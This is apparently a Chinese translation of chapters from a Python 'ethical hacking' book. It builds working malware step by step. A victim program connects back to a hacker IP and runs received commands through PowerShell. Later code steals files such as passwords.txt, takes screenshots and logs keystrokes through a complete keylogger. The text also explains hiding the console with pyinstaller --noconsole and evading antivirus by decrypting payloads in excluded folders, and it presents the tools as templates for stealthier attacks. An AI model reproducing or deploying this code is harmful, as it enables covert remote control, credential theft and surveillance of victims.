我们已经在第三章中看到过,侦察与信息收集(在创建 Python 脚本部分),如何使用 Python 在计算机上运行命令。我们将在此基础上构建一个恶意软件,它将接收命令并在受害者机器上执行。我们之前的程序只向受害者发送一条消息然后退出。这一次,我们将修改程序,让它做更多的事情。
在 Kali 机器上打开一个新项目,以便在受害者机器上执行命令并创建一个新文件。我们从建立连接开始:
import socket
if name == "main":
hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
IP = "192.168.74.128"
Port = 8008
socket_address = (IP, Port)
hacker_socket.bind(socket_address)
hacker_socket.listen(5)
print("监听传入的连接请求")
hacker_socket, client_address = hacker_socket.accept()
下一步是获取用户输入的命令,我们将在受害者机器上执行此命令。一旦输入被获取,我们必须将其转换为字节并通过连接发送到受害者程序:
command = input("请输入命令 ")
hacker_socket.send(command.encode())
一旦命令发送出去,受害者端程序会负责执行它并返回结果。在黑客程序中,我们只是接收受害者返回的结果并将其打印出来:
command_result = hacker_socket.recv(1048)
print(command_result.decode())
接下来,我们将把它放入一个循环中,并添加退出条件:
while True:
command = input("请输入命令 ")
hacker_socket.send(command.encode())
if command == "stop":
break
command_result = hacker_socket.recv(1048)
print(command_result.decode())
if 语句确保我们能够在需要时安全地退出这个循环,从而避免陷入死循环。此外,为了确保在执行过程中遇到任何错误时能够正确关闭套接字,我们会添加一个try-catch块进行异常处理。执行命令的完整黑客程序如下所示:
import socket
if name == "main":
hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
IP = "192.168.74.128"
Port = 8008
socket_address = (IP, Port)
hacker_socket.bind(socket_address)
hacker_socket.listen(5)
print("监听传入的连接请求")
hacker_socket, client_address = hacker_socket.accept()
print("与 ", client_address, " 建立连接")
try:
while True:
command = input("请输入命令 ")
hacker_socket.send(command.encode())
if command == "stop":
break
command_result = hacker_socket.recv(1048)
print(command_result.decode())
except Exception:
print("发生异常")
hacker_socket.close()
在受害者端,我们将接收到黑客发送的命令,使用subprocess模块执行命令,最后将结果发送回黑客。这部分将在 Windows 10 机器上进行编码。让我们在 Windows 机器上创建一个新项目,并尝试按照相同的步骤与黑客程序建立连接:
import socket
if name == "main":
victim_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
hacker_IP = "192.168.74.128"
hacker_port = 8008
hacker_address = (hacker_IP, hacker_port)
victim_socket.connect(hacker_address)
正如我们在黑客程序中看到的,我们有一个while循环来持续发送命令,下面我们也会采用类似的方法:
data = victim_socket.recv(1024)
hacker_command = data.decode()
我们将添加一个类似的退出条件,就像我们在黑客程序中做的那样:
if hacker_command == "stop":
break
接下来,我们在受害者计算机上运行命令,并以字符串格式获取结果,如下所示:
output = subprocess.run(["powershell.exe", hacker_command], shell=True, capture_output=True)
powershell.exe 确保我们在 Windows 中使用 PowerShell 运行命令。capture_output=True 确保我们将结果接收在output变量中。
接下来,我们需要检查错误。如果命令执行期间发生错误,我们需要妥善处理,以免程序崩溃,否则我们会将结果发送回给黑客:
if output.stderr.decode("utf-8") == "":
command_result = output.stdout
else:
command_result = output.stderr
第一个条件检查是否在命令执行过程中没有错误,如果没有错误,我们将command_result变量设置为命令的输出,否则将command_result设置为错误。请注意,默认情况下这是以字节形式呈现的,因此我们不需要对其进行编码就能通过网络发送:
victim_socket.send(command_result)
最后,我们需要将所有命令执行代码放在try-catch块中,以处理任何异常并确保正确关闭套接字。完整的程序可以在这里找到:github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example09-victim-malware/victim.py。
让我们尝试在受害者机器上运行一些命令,并获取结果。首先,启动黑客程序,然后运行受害者程序。在黑客程序中输入命令,并查看其中包含的结果:

图 6.7 – 黑客在受害者机器上执行命令
在这里,你可以看到黑客向受害者发送了ipconfig命令。受害者程序读取命令,执行命令并将结果返回给黑客。程序中有一些小问题,我们现在来讨论。首先,受害者程序只会尝试与黑客连接一次,如果黑客没有在监听,程序就会抛出错误并退出。这样并不理想,因为我们希望随时能够与受害者建立连接。为了解决这个问题,我们将connect()方法放入循环中,这样它就可以不断尝试与黑客建立连接,当黑客在线时,连接会立即建立。请看一下受害者程序的代码:github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example09-victim-malware/victim.py。
现在让我们来看一下这个程序中的更改。首先,有一个外部的while循环。这个循环的目的是不断尝试与黑客建立连接,如果发生错误,它会等待 5 秒钟,然后尝试重新连接。一旦连接建立,在循环内部,还有另一个循环,确保黑客能够向受害者发送多个命令。这个while循环可以通过黑客使用stop命令来退出。最后,如果你想关闭程序,程序会捕获键盘中断异常。按Ctrl + C即可退出程序。这样,这个程序就不会无限运行了。
现在我们已经解决了第一个问题。接下来,我们只需要运行一次受害者程序,它就会不断尝试与黑客建立连接,当黑客变得可用时,它就会连接上。我们的程序还有一个小问题。当黑客程序要求输入命令时,如果我们直接按Enter,就会出现问题,因为Enter并不是一个有效的命令。我们还需要处理这个问题。为了处理这个问题,我们可以简单地添加一个检查,确保黑客不会输入空命令。为此,输入以下命令:
if command == "":
continue
我们将在黑客程序和受害者程序中都加入这个检查。
最后,如果你仔细观察,会发现我们只能发送和接收小于 1,024 字节的数据,因为我们在接收函数中定义了这个限制。任何超过这个大小的数据都会被截断。为了更详细地查看,去 Windows 机器上运行任何输出超过 1,024 字节的命令。例如,让我们来看一下systeminfo命令。这个命令输出系统信息,结果相对较大:

图 6.8 – systeminfo 结果
现在,使用你的黑客程序运行相同的命令。你的输出将类似于下面的内容:

图 6.9 – 截断的命令结果
正如你所看到的,我们只能接收 1,024 字节。这不是我们想要的。为了获得完整的结果,我们需要进行一些修改。在受害者程序中,我们将在command_result的末尾附加一个特殊的标识符。使用这个标识符,我们将在黑客程序中持续读取数据,直到达到标识符。这将作为黑客程序的标记,以便知道我们已经完成接收所有数据并可以停止了。
标识符字符串将如下所示:
标识符 = "<END_OF_COMMAND_RESULT>"
要将这个标识符添加到command_result中,我们首先将结果从字节解码为字符串,然后在末尾附加标识符,最后再将字符串转换为字节,如下所示:
command_result = output.stdout
command_result = command_result.decode("utf-8") + IDENTIFIER
command_result = command_result.encode("utf-8")
这一次,我们将使用sendall()方法,而不是send()方法。
在黑客端,我们将定义完全相同的标识符,以便进行匹配。现在,我们不再只接收 1,024 字节,而是添加一个while循环,持续接收数据并将其存储在数组中,直到找到标识符,然后我们将移除标识符并存储剩余的结果。
看一下以下接收代码:
full_command_result = b"
while True:
chunk = hacker_socket.recv(1048)
if chunk.endswith(IDENTIFIER.encode()):
chunk = chunk[:-len(IDENTIFIER)]
full_command_result += chunk
break
full_command_result +=chunk
print(full_command_result.decode())
我们定义一个full_command_result变量,用于保存完整的结果。然后我们编写一个循环,持续读取缓冲区,直到达到标识符。一旦达到标识符,我们将从结果中移除标识符,将剩余的字节添加到full_command_result,跳出循环,最后解码并打印出来。黑客的完整程序如下所示:github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example08-hacker-malware/hacker.py。
同样,受害者的完整程序如下所示:github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example09-victim-malware/victim.py。
现在,我们已经开发了一个黑客程序,它将在 Windows 受害者机器上执行命令并将完整的结果返回给黑客。这个程序将完美运行。然而,由于我们只处理命令结果的输入和输出,切换目录的命令将无法正确运行。接下来,我们将专注于开发一个程序,以便我们可以在受害者的机器上进行目录导航。如果你去你的 Windows 机器并打开命令提示符,你可以使用cd命令来导航目录,我们也将在这里使用类似的方法。因此,当用户输入切换目录的命令时,我们将根据给定的命令,在受害者机器上切换到一个不同的目录。在本节中,我们学习了如何从黑客程序运行命令并将结果返回给黑客。在下一节中,我们将学习如何通过黑客程序发送命令来在受害者计算机上进行目录导航。
导航目录
我们将使用一个新的模块来更改目录,叫做os模块。这个模块包含在 Python 的标准库中,因此你无需安装它。只需通过写入以下命令导入该模块到你的程序中:
import os
我们首先需要做的是检测用户何时在黑客程序中输入cd命令。这可以通过对字符串命令调用startswith()方法来完成。我们将检测该命令,将命令发送到受害者程序,然后跳过循环中的其余部分,如下所示:
if command.startswith("cd"):
hacker_socket.send(command.encode())
continue
我们的程序第一部分现在已经完成。接下来,我们需要在受害者程序上接收这个命令,解码它,检查命令的类型,比如是否是要切换目录,然后找到我们想要移动到的路径。假设如果我们想在目录中返回上一级(向上一级目录移动),我们输入以下命令:
cd ..
cd 是命令的名称,.. 是我们想要移动到的路径。因此,在受害者程序中,我们首先会使用相同的检查条件来判断hacker_command是否以cd开头。如果是,我们将去掉命令中的cd部分,提取出我们要移动到的路径。最后,如果路径存在,我们将使用os.chdir()方法切换到输入的目录:
if hacker_command.startswith("cd"):
path2move = hacker_command.strip("cd ")
if os.path.exists(path2move):
os.chdir(path2move)
else:
print("无法切换到目录 ", path2move)
continue
在 Windows 中,你可以通过在命令行中输入pwd(当前工作目录)命令来查看当前目录。现在,让我们运行黑客和受害者程序,看看我们如何导航目录:

图 6.10 – 更改目录
正如您在上面的截图中所看到的,我们首先通过使用cd ..命令在文件夹中向上导航,然后移动到user文件夹。然后,我们通过cd Desktop命令导航到桌面文件夹。通过这种方式,我们可以在文件系统中上下移动。黑客程序的完整代码在这里:github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example08-hacker-malware/hacker.py。
同样,受害者程序的完整代码在这里显示:github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example09-victim-malware/victim.py。
这个程序将允许黑客执行命令并基本控制受害者的计算机。黑客可以将其用作模板,将更高级的功能集成到程序中。您可能会认为我们迄今为止编写的所有代码都是以 Python 脚本的形式存在的,为了部署它并进行成功的黑客攻击,受害者的计算机必须安装 Python,并且必须手动运行脚本,这似乎不是一个很好的主意。不用担心。在第八章,后渗透中,我们将看看如何将我们的 Python 代码打包成一个包含所有依赖项的单个可执行文件。这样,我们就不必担心受害者是否安装了 Python。我们将从我们的脚本创建一个.exe文件,并将其部署到受害者那里。更多内容请参见下一章。
总结
在本章中,我们首先学习了套接字编程,然后学习了如何使用套接字创建网络应用程序。我们的网络应用程序包括一个黑客程序和一个受害者程序,这帮助我们从基于 Linux 的黑客程序向 Windows 系统发送命令,执行这些命令,并将结果返回给黑客。我们还学习了如何操作文件流。我们的基本远控程序已经完成。尽管功能有限,但它为我们提供了创建更高级恶意软件程序的基础理解。在下一章中,我们将为我们的远控程序添加一些更多功能,比如文件传输。下一章见!
第七章:高级恶意软件
在上一章中,我们学习了如何创建一个非常简单的恶意软件,该软件执行黑客发送的Windows命令,并返回这些命令的结果。这个程序在仅执行命令方面非常有限。理想情况下,远程访问工具应该具有比这更为高级的功能。本章将给你一个基本的概念,了解你可以在恶意软件程序中编写的更高级功能。我们将在本章中讨论以下内容:
-
文件传输
-
偷窃 Wi-Fi 凭证
-
截取屏幕截图
构建一个键盘记录器文件传输
我们已经在第六章《恶意软件开发》中学习了如何在程序中发送和接收非常基础的数据。在本章中,我们将尝试从一台 PC 到另一台 PC 发送和接收文件,首先是从受害者的 PC 到黑客的 PC,然后从黑客的 PC 到受害者的 PC。这将让我们访问受害者 PC 上的任何敏感文件。例如,假设受害者将他们的密码存储在 PC 上的一个文件中(这是一个非常糟糕的主意;切勿将密码以明文形式存储在 PC 上);那么我们可以简单地读取该文件的内容并将其发送给黑客。让我们看看这个过程是如何工作的。
将受害者的文件下载到黑客的电脑
在这里,我们将修改在第六章《恶意软件开发》中开发的程序,我们运行 Windows 命令来增加文件传输功能(请参见创建恶意软件部分)。首先,我们将添加一个下载功能,将任何文件从受害者的 PC 发送到黑客的 PC,之后再从黑客的 PC 发送到受害者的 PC。为了通过网络发送文件,我们需要执行一些特定的步骤。接下来列出了这些步骤:
-
检查文件是否存在。如果不存在,则抛出错误。
-
如果文件存在,将文件内容读取到程序中。
-
一旦内容被读取,将一个特殊标记添加到数据的末尾,以表示文件传输完成。
-
通过网络发送数据字节。
-
在接收端,接收字节直到匹配标记。
-
一旦标记被识别,移除接收到字节中的标记。
-
将剩余的字节写入到你电脑的文件系统中。
-
关闭连接。
如果你立刻不理解这些步骤也没关系。我们将逐步讲解这些步骤。你可以将这个功能添加到我们在第六章《恶意软件开发》中已经开发的程序中。为了简化操作,使用我们在第六章《恶意软件开发》中创建的黑客和受害者程序。在 Kali 和 Windows PC 上分别为黑客和服务器创建一个新项目,并将其命名为advanced_server和advanced_victim。将前几章的代码复制到相应的项目中,这样你就有了可以继续开发的代码基础。
让我们首先定义如何将文件从受害者发送到黑客。假设在受害者的 PC 上有一个存储受害者密码的文件。这个文件是作为示例使用的。从理论上讲,你可以从受害者的 PC 下载任何你想要的文件。
假设文件名是passwords.txt。让我们通过图形化的策略来看一下,这样可以帮助我们理解这个过程如何在实践中工作:

图 7.1 – 向黑客发送文件
首先,我们需要将受害者的文件名从黑客发送到受害者。我们已经在第六章《恶意软件开发》中学到了如何通过网络发送文本数据,因此这个过程相对直接。在黑客程序中,我们将设计以下策略,发送需要从受害者下载的文件名。如果我们想下载一个名为passwords.txt的文件,我们的命令看起来可能是download passwords.txt。因此,在黑客程序中,我们将检查黑客命令是否以download开头,并为此条件创建一个案例。我们来看一下以下代码。在我们的主循环中,我们检查不同条件的地方,将插入以下检查:
elif command.startswith("download"):
hacker_socket.send(command.encode())
exist = hacker_socket.recv(1024)
第一行检查黑客的命令是否是从受害者那里下载文件。如果是,我们将命令发送给受害者,受害者将回复文件是否存在。根据回复,可以采取进一步的行动。如果文件存在,我们将处理下载文件的情况,否则我们将安全退出程序。现在,让我们稍微停留在黑客程序上,转到受害者程序。在受害者端,我们需要添加一个类似的检查,判断命令是否为download。如果是,我们将从接收到的消息中提取文件名,并检查文件是否存在。进入受害者程序,并在主循环中编写以下检查:
elif hacker_command.startswith("download"):
file_to_download = hacker_command.strip("download ")
if os.path.exists(file_to_download):
exists = "yes"
victim_socket.send(exists.encode())
else:
exists = "no"
victim_socket.send(exists.encode())
continue
在这里,我们接收命令并检查命令的类型。一旦收到包含下载字符串的命令,我们可以从命令中剥离出下载部分,以检索我们感兴趣的实际文件名。在前面代码的第三行中,我们检查文件是否存在。如果存在,我们会回复yes,否则回复no。记住,在黑客程序中,我们在等待接收exists变量的这个回复。请注意,我们还没有发送任何文件数据。我们只是创建了外部循环来正确处理数据的发送和接收。文件的读取部分将在前面代码的第一个if语句中处理。现在,我们需要读取文件。
接下来,让我们看看下面的代码,它从受害者的机器读取文件并将其发送回黑客:
with open(file_to_download, "rb") as file:
chunk = file.read(CHUNK_SIZE)
while len(chunk) > 0:
victim_socket.send(chunk)
chunk = file.read(CHUNK_SIZE)
这将一直运行直到文件结束。
一旦文件传输完成,我们需要发送标识符。 victim_socket.send(eof_identifier.encode())
print("文件成功发送")
让我们来分析一下刚才看到的代码。文件行是一个命令,用于以二进制格式打开并读取文件。尽管它是一个文本文件,但如果你想通过网络传输文件,读取二进制格式的文件是个好主意,因为在实际情况下,文件类型可能是任何格式。接着,我们读取一块字节,并且在文件顶部定义了CHUNK_SIZE = 2048。在读取第一块字节后,我们检查文件是否还有更多字节。如果有,我们就通过使用while循环迭代地将其发送到网络,直到读取到文件的末尾。这个循环将在没有更多字节可读时停止。一旦我们将完整的文件通过网络发送到黑客那里,我们需要发送标识符,以便黑客知道他们可以停止继续读取。为此,我们发送eof_identifier,其值为eof_identifier = "<END_OF_FILE_IDENTIFIER>"。黑客将使用这个标识符来确认接收到的数据已经完整。
接下来,我们需要在黑客程序中接收这些数据。为此,进入黑客程序并检查接收到的exists变量的值。如果受害者的回复是yes,这意味着文件在受害者的机器上存在,我们可以开始下载文件。请注意,我们刚刚开发了一个发送数据的程序,现在我们将在这里接收相同的数据。接收到的数据将是字节形式,我们将把这些字节写入到黑客的 PC 上,以生成与受害者 PC 上相同的文件。让我们看看以下代码:
if exist.decode() == "yes":
print("文件已存在")
在此接收文件
file_name = command.strip("download ")
with open(file_name, "wb") as file:
print("正在下载文件")
while True:
chunk = hacker_socket.recv(CHUNK_SIZE)
file.write(chunk)
if chunk.endswith(eof_identifier.encode()):
chunk = chunk[:-len(eof_identifier)]
file.write(chunk)
break
print("下载成功,", file_name)
如果文件存在,我们将创建一个与file_name同名的新文件。请注意,我们以wb(写入二进制模式)创建文件,这样我们就可以下载任何类型的文件。创建文件后,我们需要写入从受害者处接收到的文件内容。我们定义CHUNK_SIZE变量的大小与受害者在发送数据时定义的大小相同,然后我们开始连续接收数据并写入磁盘,直到接收到文件末尾的标识符。你需要定义与受害者相同的eof_identifier变量,否则程序将无法正常工作。一旦达到标识符,我们就去除标识符,写入剩余的字节到磁盘,并退出循环。最后,我们可以打印出一条语句,指示我们已接收到所有数据。现在我们的程序完成了,使用这个程序,我们可以从受害者下载数据到黑客机器。
黑客的完整代码如下:
github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example10-hacker-advanced/hacker.py
)
同样,发送文件给黑客的受害者完整代码如下:
)
现在,让我们尝试运行这个程序。首先运行黑客程序,然后是受害者程序。
在受害者的 PC 上创建一个名为passwords.txt的文件,并写入一些随机密码:

图 7.2 – 受害者 PC 上的密码文件
接下来,在黑客程序中输入以下命令:download passwords.txt。
现在,运行程序后,你将在黑客的 PC 上看到完全相同的文件:

图 7.3 – 从受害者处下载文件
你将看到在 Kali 机器上创建了一个名为passwords.txt的文件,如果你打开这个文件,它将与受害者 PC 上的文件内容相同:

图 7.4 – 黑客机器上的 passwords.txt 文件
如果你打开文件,你将看到文件的内容。你还可以尝试下载其他类型的文件,如图片,程序同样适用。
上传文件到受害者
上传文件到受害者的过程非常相似,只是数据现在会反向传输。使用这种方法,你可以将其他高级恶意软件上传到受害者的机器并运行它。然而,恶意软件不能直接上传。入侵检测系统(IDS)会检测到它。如果我们尝试直接上传,需要对其他恶意软件进行一些修改才能使用这种方法上传。首先,你需要加密恶意软件的字节并通过网络发送加密数据。让我们尝试理解 IDS 是如何工作的。防病毒软件有一个庞大的恶意文件签名数据库。签名,简单来说,是来自恶意程序的一串字节。因此,如果文件的签名与防病毒程序的数据库匹配,防病毒程序就会知道该文件是恶意软件。为了绕过这一点,我们需要加密数据。一旦恶意软件被加密,它的字节序列就会发生变化,防病毒程序会认为它不是恶意软件。然而,我们仍然需要解密这些文件才能正常运行。假设我们使用刚才开发的方法将加密的恶意软件通过网络发送给受害者。加密文件会被发送到受害者,当我们尝试解密它以恢复原文件时,防病毒程序会立即检测到并阻止该文件。这听起来似乎不是个好消息。然而,如果我们在一个已被添加到防病毒例外文件夹的文件夹中解密文件,我们就能绕过这种检测。这个防病毒程序不会扫描这个文件夹,我们可以成功解密恶意软件并运行它。然而,有一个小小的警告。为了将文件夹添加到防病毒例外中,我们需要管理员权限。稍后我们将在第八章,“后期利用”中,了解如何获取管理员权限。上传文件到黑客程序的代码非常相似,因此在这里讨论就显得多余了。我已经讨论过如何通过网络发送它了。在下一部分,我们将学习如何盗取存储在电脑上的 Wi-Fi 密码。
截取屏幕截图
你还可以使用恶意软件截取受害者电脑的屏幕截图。为此,你需要安装额外的库。我们需要一个叫做pyautogui的模块。这个模块可以帮助你在受害者的电脑上截取屏幕截图:
-
要安装它,请去受害者的机器并输入以下命令进行安装。最好创建一个虚拟环境,并在虚拟环境中安装这个程序:
pip install pyautogui这将安装所需的模块。
-
接下来,我们需要定义截屏的情况。在黑客程序中,创建一个新情况并设置以下条件:
if command == "screenshot":
print("正在截取屏幕截图")
-
同样,在受害者程序中,写下相同的情况:
elif hacker_command == "screenshot":
print("正在截取屏幕截图")
screenshot = pyautogui.screenshot()
screenshot.save("screenshot.png")
print("屏幕截图已保存")
这将把屏幕截图保存在受害者的 PC 上,文件名为
screenshot.pn。 -
让我们运行这个程序,看看输出是什么样的。在黑客的机器上,输出应该是这样的:
![图 7.5 – 黑客程序截取的屏幕截图]()
图 7.5 – 黑客程序截取的屏幕截图
受害者程序如下所示:
![图 7.6 – 受害者程序截取的屏幕截图]()
图 7.6 – 受害者程序截取的屏幕截图
-
如果你去受害者的 PC,你会看到有一个名为
screenshot.png的文件保存在磁盘上。你可以使用我们之前学到的方法将该文件传输到黑客的 PC 上。只需在黑客程序中写下以下命令:下载 screenshot.png
这将把屏幕截图移动到黑客的 PC 上。我截取了以下屏幕截图:

图 7.7 – 在 Windows PC 上截取的屏幕截图
在这一部分中,我们学习了如何使用我们的黑客程序截取受害者 PC 的屏幕截图,并将文件传输到黑客的 PC。接下来的部分,我们将学习如何创建一个键盘记录器来追踪受害者的按键记录。
键盘记录器
在这一部分中,我们将构建一个简单的键盘记录器。键盘记录器是一种恶意软件程序,用于记录用户的按键记录。它是最常见的恶意软件类型之一。键盘记录器常用于窃取密码和其他敏感信息,如信用卡信息。键盘记录器通常设计得尽可能安静,这意味着它很难被发现。让我们尝试构建一个简单的键盘记录器。你需要安装一个名为pynput的模块来构建键盘记录器。这个模块允许你通过编程方式访问按键记录:
-
要安装此模块,请使用以下命令:
pip install pynput这将安装模块:
-
一旦模块安装完成,我们可以从该模块导入
keyboard:from pynput import keyboard -
接下来,我们将定义一个监听器,用于监听按键记录。这个监听器会根据不同的事件处理不同的情况。看看以下代码:
with keyboard.Listener(on_press=onPress, on_release=onRelease) as listener:
listener.join()
之前的代码定义了两个函数,分别用于按下和释放按键。当按下一个键时,将调用
onPress函数,而当释放一个键时,将调用onRelease函数。 -
现在我们将定义这些函数。让我们看看这些函数:
def onPress(key):
print(str(key))
def onRelease(key):
if str(key) == 'Key.esc':
return False
我们定义了非常简单的函数。当按下键时,我们只需打印它,而当键被释放时,我们会检查按下了哪个键。如果按下的是Esc键,我们就退出程序,否则继续。这样,我们就有了退出条件,避免了程序卡住。如果我们没有定义这个条件,就无法退出程序,因为按下Ctrl + C会只是打印出信息,而不是退出。为了安全地退出这个函数,我们返回
False值。让我们来看一下一个简单的执行过程:![图 7.8 – 打印按下的键]()
图 7.8 – 打印按下的键
在这张截图中,我们打印了执行程序时按下的键。当我们按下Esc键时,程序退出了。这就是一个非常基础的键盘记录器的全部内容。然而,在实际情况下,你会在受害者的机器上运行这个程序,因此仅仅在控制台打印是没有多大用处的。理想情况下,我们希望保留这些按键记录的日志。很多键盘记录器会将按键记录存储到文件中,黑客可以从中查看是否输入了任何密码或其他敏感信息。
-
现在我们将对我们的键盘记录器进行一些更改,使其更有用。让我们创建一个新的文件名,
keylogs.txt。我们将把日志存储在这个文件中。让我们来看一下代码:
import sys
filename = "keylogs.txt"
file = open(filename, "w")
def onPress(key):
print(str(key))
file.write(str(key))
def onRelease(key):
if str(key) == 'Key.esc':
file.close()
sys.exit(0)
在这里,我们创建了一个写入模式的文件,每次按下一个键时,我们都会将该键存储到文件中。最后,当按下Esc键时,我们关闭文件并退出。如果你启动并运行程序,按下几个键,你会看到创建了一个新文件,所有的按键记录都存储在该文件内。以下是我执行此操作的结果:
![图 7.9 – 文件中存储的按键记录]()
图 7.9 – 文件中存储的按键记录
-
你可以在上面的截图中看到,每个字符周围都有引号。我们可以去掉这些引号以提高可读性。为了替换它,我们可以更新以下代码:
def onPress(key):
print(str(key))
stroke = str(key).replace("'", "")
if str(key) == "Key.esc":
file.write(" ")
else:
file.write(stroke)
在这里,我们做了两个改变。首先,在将它们写入文件之前,我们将单引号替换为空字符串;其次,如果按下的是Esc键,我们就不将它写入文件。现在,如果你运行程序,你会看到它只注册字符。
如果你按下任何特殊键,比如Enter或space,你会看到程序记录的是它们的名称,而不是它们的功能,这不是我们想要的。我们希望用户按下空格键时能看到一个空格。为此,我们将做出以下更改:
def onPress(key):
print(str(key))
stroke = str(key).replace("'", "")
if str(key) == "Key.space":
file.write(" ")
elif str(key) == "Key.enter":
file.write("\n")
elif str(key) == "Key.esc":
file.write(" ")
else:
file.write(stroke)
-
我们的键盘记录器几乎完成了。我们只需要做一个最后的修改。我们的键盘记录器不支持退格键。为了添加此功能,看看以下代码:
import os
elif str(key) == "Key.backspace":
file.seek(file.tell()-1, os.SEEK_SET)
file.write("")
这段代码检查是否有退格键,如果遇到退格键,我们会回退一个字符并在其位置放置一个空字符串。这样就替换了文件中原本存储的字符。现在,我们的基本键盘记录器已经完成。它支持字符插入,并且能够注册退格键的操作。键盘记录器的完整代码如下:
from pynput import keyboard
import sys
import os
filename = "keylogs.txt"
file = open(filename, "w")
def onPress(key):
print(str(key))
stroke = str(key).replace("'", "")
if str(key) == "Key.space":
file.write(" ")
elif str(key) == "Key.enter":
file.write("\n")
elif str(key) == "Key.esc":
file.write(" ")
elif str(key) == "Key.backspace":
file.seek(file.tell()-1, os.SEEK_SET)
file.write("")
else:
file.write(stroke)
def onRelease(key):
if str(key) == 'Key.esc':
file.close()
sys.exit(0)
if name == "main":
with keyboard.Listener(on_press=onPress, on_release=onRelease) as listener:
listener.join()
在这一部分,我们学到了如何部署一个简单的键盘记录器。以此为基础,你可以编写一个更为高级的键盘记录器。
总结
在这一章中,我们学到了如何为我们的基础恶意软件添加高级功能。首先,我们添加了受害者到客户端的文件传输支持,接着我们添加了其他功能,如从受害者的计算机截屏并将其发送回黑客。最后,我们编写了自己的键盘记录器。每天,成千上万的恶意软件被编写出来,防病毒程序尝试跟上这些软件的检测进度。编写你自己的恶意软件的优势在于,它不容易被检测程序发现,因为它是你自己编写的,还不存在于防病毒数据库中。这为你提供了更成功的攻击机会。使用我们在本章开发的工具,你将理解如何构建更高级的恶意软件,并且你可以根据需要为它添加更多功能。通过编写自定义恶意软件所获得的技能将为你提供更多隐秘攻击的机会,并减少防病毒程序的检测。
在下一章,我们将看到如何将我们的代码打包成一个独立的可执行文件,并如何将其用于黑客攻击。下一章见!
第八章:利用后阶段
在第七章,《高级恶意软件》中,我们学习了如何为我们的恶意软件程序添加一些高级功能。你可以随意向恶意软件添加任意数量的功能。一旦你完成了代码编写,接下来就是实现部分。你如何打包你的恶意软件并使其可用于部署?在本章中,我们将学习恶意软件部署的以下几个方面:
-
包装恶意软件
-
理解特洛伊木马
-
通过公共 IP 进行攻击
-
破解密码
-
偷窃密码
-
创建僵尸网络
包装恶意软件
我们在第七章,《高级恶意软件》中开发的程序是一个 Python 文件。它还包含一些依赖项。如果没有物理访问权限,运行一个 Python 文件在受害者机器上是非常困难的。这使得我们的程序不太有用,除非我们能将所有内容打包成一个单独的可执行文件,发送给受害者,当受害者打开它时,它能与黑客的计算机建立反向 shell 连接。
将 Python 代码包装成可运行的可执行文件需要包含程序的所有依赖项。这正是我们使用虚拟环境的原因。虚拟环境使得程序能够将所有依赖项集中在一起,这样在我们打包代码时,所有内容,包括 Python 解释器,都被包含在可执行文件中,这样我们就不需要在受害者计算机上安装任何东西,程序就能完美运行。
理解 pyinstaller 库
幸运的是,确实有一种方法可以实现之前提到的目标。这是通过使用一个名为pyinstaller的 Python 库来完成的。它帮助我们将代码打包成一个可执行的二进制文件,Windows 上的扩展名为.exe。要安装pyinstaller,请写入以下命令:
pip install pyinstaller
请注意,执行此命令时应启用虚拟环境,以便我们能确保所有必需的依赖项都可用。打开你的受害者程序,启动高级恶意软件并启用虚拟环境。完成后,使用前面的命令安装pyinstaller。
如果你还没有创建虚拟环境,可以在存放你的 Python 恶意软件文件的文件夹中运行以下命令来创建:
python -m venv myenv
等待一段时间,直到安装完成。一旦完成,你可以通过启动新终端或运行activate.bat脚本(位于脚本文件夹或myenv中)来激活环境。
如果你成功激活了 Python 环境,你将看到类似下面的内容:

图 8.1 – 已启用 Python 环境
请注意,我们在高级恶意软件中使用了一个外部依赖项 pyautogui。我们也需要在虚拟环境中安装这个依赖。如果你的恶意软件中添加了其他需要外部依赖的功能,也需要安装这些依赖。所有依赖项安装完后,你可以通过 pip install pyinstaller 在虚拟环境中安装 pyinstaller。如果一切正确无误,输入 pyinstaller 在命令终端中,你应该看到如下输出:

图 8.2 – pyinstaller 安装
在 图 8.2 中,你可以看到 pyinstaller 可用选项的列表。接下来,要创建一个可执行文件,输入 pyinstaller –onefile advanced_malware.py。这会将所有代码及其依赖项编译成一个单独的文件,并创建以下文件夹结构:

图 8.3 – 文件夹结构
你需要关注的文件夹是 dist 文件夹,它代表了分发(distribution)。你的可执行文件将位于这个文件夹中。现在可以在文件资源管理器中打开这个文件夹:

图 8.4 – 可执行文件
你会找到一个与 Python 文件名相同的可执行文件,它会有 .exe 扩展名。现在,如果你在黑客程序运行时直接运行这个文件,你会获得一个回连。不管受害者的系统是否安装了 Python,这个可执行文件都能正常工作。继续运行你的黑客程序,然后双击这个可执行文件打开它。黑客程序看起来会是这样的:

图 8.5 – 黑客程序
同样,在受害者的电脑上,你会看到一个类似的控制台弹窗:

图 8.6 – 在受害者电脑上运行可执行文件
如果你仔细观察 图 8.6 顶部,你会看到正在运行的可执行文件的名称。你可以清楚地看到,现在我们运行的是一个可执行文件,而不是 Python 脚本,并且实现了相同的目标。
然而,这里有一个小问题。如果受害者点击这个可执行文件,他们将看到一个命令提示符弹出,显示所有正在发生的事情,这显然不是我们想要的,因为这会让受害者警觉到有异常发生。我们希望这个过程在后台进行,以便受害者完全无法察觉。为了隐藏控制台,我们可以在命令中添加以下参数:
pyinstaller –-onefile –-noconsole advanced_malware.py
如果你在黑客程序运行时点击可执行文件,你会发现屏幕上什么也没有发生,因为没有弹出控制台显示,但在后台会建立连接。你可以通过打开任务管理器来查看可执行文件在后台运行:

图 8.7 – 后台进程
在前面的截图中,你可以看到程序正在运行,并且会建立连接。请注意,如果你的程序在受害者机器上没有正确运行命令,请进入你的受害者程序并找到你执行命令的地方,添加以下参数:stdin=subprocess.DEVNULL。完整的命令将如下所示:
output = subprocess.run(["powershell.exe", hacker_command], shell=True, capture_output=True, stdin=subprocess.DEVNULL)
该错误发生的原因是控制台的标准输入没有得到正确处理。如果你在黑客程序中运行任何命令,它应该会正常运行。请看下面的示例,我运行了dir命令:

图 8.8 – 在“无控制台”模式下执行命令
